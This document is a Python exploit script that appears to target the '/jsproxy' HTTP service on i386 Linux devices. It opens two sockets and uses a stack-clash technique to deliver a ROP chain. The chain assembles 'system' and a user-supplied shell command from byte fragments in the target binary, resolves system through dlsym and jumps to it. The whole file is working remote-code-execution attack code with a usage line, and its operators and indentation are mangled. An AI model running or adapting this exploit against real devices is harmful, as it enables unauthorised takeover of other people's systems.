import socket, time, sys, struct
from pwn import *
import ropgadget
AST_STACKSIZE = 0x20000
SKIP_SPACE = 0x1000
ROP_SPACE = 0x8000
ALIGN_SIZE = 0x10
ADDRESS_SIZE = 0x4
context(arch = "i386" , os = "linux" , log_level = "WARNING" )
gadgets = dict ()
plt = dict ()
strings = dict ()
system_chunks = []
cmd_chunks = []
def makeHeader(num):
return bytes( "POST /jsproxy HTTP/1.1\r\nContent-Length: " ) + bytes( str (num)) + bytes( "\r\n\r\n" )
def makeSocket(ip, port):
s = socket.socket()
try :
s.connect((ip, port))
except :
print ( "Error connecting to socket" )
sys.exit( - 1 )
print ( "Connected" )
time.sleep( 0.5 )
return s
def socketSend(s, data):
try :
s.send(data)
except :
print ( "Error sending data" )
sys.exit( - 1 )
print ( "Sent" )
time.sleep( 0.5 )
def ropCall(function_address, * arguments):
payload = struct.pack( '<L' , function_address)
num_arg = len (arguments)
if num_arg > 0 :
if num_arg = = 1 :
ret_gadget = gadgets[ 'p' ]
elif num_arg = = 2 :
ret_gadget = gadgets[ 'pp' ]
elif num_arg = = 3 :
ret_gadget = gadgets[ 'ppp' ]
elif num_arg = = 4 :
ret_gadget = gadgets[ 'pppp' ]
else :
raise
payload + = struct.pack( '<L' , ret_gadget)
for arg in arguments:
payload + = struct.pack( '<L' , arg)
return payload
def ropSearchJmp(elf, instruction):
oldargv = sys.argv
sys.argv = [ 'ropgadget' , '--binary' , elf.path, '--only' , 'jmp' ]
args = ropgadget.args.Args().getArgs()
core = ropgadget.core.Core(args)
core.do_binary(elf.path)
core.do_load( 0 )
sys.argv = oldargv
for gadget in core._Core__gadgets:
address = gadget[ 'vaddr' ] - elf.load_addr + elf.address
if gadget[ 'gadget' ] = = instruction:
return address
raise
def loadOffsets(binary, shellCmd):
elf = ELF(binary)
rop = ROP(elf)
plt[ "strncpy" ] = elf.plt[ 'strncpy' ]
plt[ "dlsym" ] = elf.plt[ 'dlsym' ]
gadgets[ 'pppp' ] = rop.search(regs = [ "ebx" , "esi" , "edi" , "ebp" ]).address
gadgets[ 'ppp' ] = rop.search(regs = [ "ebx" , "ebp" ], move = ( 4 * 4 )).address
gadgets[ 'pp' ] = rop.search(regs = [ "ebx" , "ebp" ]).address
gadgets[ 'p' ] = rop.search(regs = [ "ebp" ]).address
gadgets[ 'jeax' ] = ropSearchJmp(elf, "jmp eax" )
system_chunks.extend(searchStringChunksLazy(elf, "system\x00" ))
cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00" ))
writable_address = elf.writable_segments[ 0 ].header.p_paddr
strings[ 'system' ] = writable_address
strings[ 'cmd' ] = writable_address + 0xf
def generateStrncpyChain(dst, chunks):
chain = ""
offset = 0
for (address, length) in chunks:
chain + = ropCall(plt[ "strncpy" ], dst + offset, address, length)
offset + = length
return chain
def searchStringChunksLazy(elf, string):
chunks = []
for b in string:
res = [_ for _ in elf.search(b)]
if len (res) > 0 :
chunks.append((res[ 0 ], 1 ))
else :
raise
if len (string) ! = len (chunks):
raise
return chunks
def searchStringChunks(elf, string):
chunks = []
total = len (string)
if string = = "":
raise
looking = string
while string ! = "":
results = [_ for _ in elf.search(looking)]
if len (results) > 0 :
chunks.append((results[ 0 ], len (looking)))
string = string[ len (looking):]
looking = string
else :
looking = looking[: - 1 ]
check_length = 0
for (address, length) in chunks:
check_length = check_length + length
if check_length = = total:
return chunks
else :
raise
def buildROP(binary, shellCmd):
loadOffsets(binary, shellCmd)
exploit = generateStrncpyChain(strings[ 'system' ], system_chunks)
exploit + = generateStrncpyChain(strings[ 'cmd' ], cmd_chunks)
exploit + = ropCall(plt[ "dlsym" ], 0 , strings[ 'system' ])
exploit + = ropCall(gadgets[ 'jeax' ], strings[ 'cmd' ])
exploit + = struct.pack( '<L' , 0x13371337 )
return exploit
def stackClash(ip, port, ropChain):
print ( "Opening 2 sockets" )
s1 = makeSocket(ip, port)
s2 = makeSocket(ip, port)
print ( "Stack clash..." )
socketSend(s1, makeHeader(AST_STACKSIZE + SKIP_SPACE + ROP_SPACE))
socketSend(s1, b 'A' * (SKIP_SPACE - ALIGN_SIZE - ADDRESS_SIZE))
socketSend(s2, makeHeader(ROP_SPACE))
print ( "Sending payload" )
socketSend(s1, ropChain)
print ( "Starting exploit" )
s2.close()
print ( "Done!" )
if __name__ = = "__main__" :
if len (sys.argv) = = 5 :
ip = sys.argv[ 1 ]
port = int (sys.argv[ 2 ])
binary = sys.argv[ 3 ]
shellCmd = sys.argv[ 4 ]
print ( "Building ROP chain..." )
ropChain = buildROP(binary, shellCmd)
print ( "The ROP chain is " + str ( len (ropChain)) + " bytes long (" + str (ROP_SPACE) + " bytes available)" )
stackClash(ip, port, ropChain)
else :
print ( "Usage: ./StackClashROPsystem.py IP PORT binary shellcommand" )
|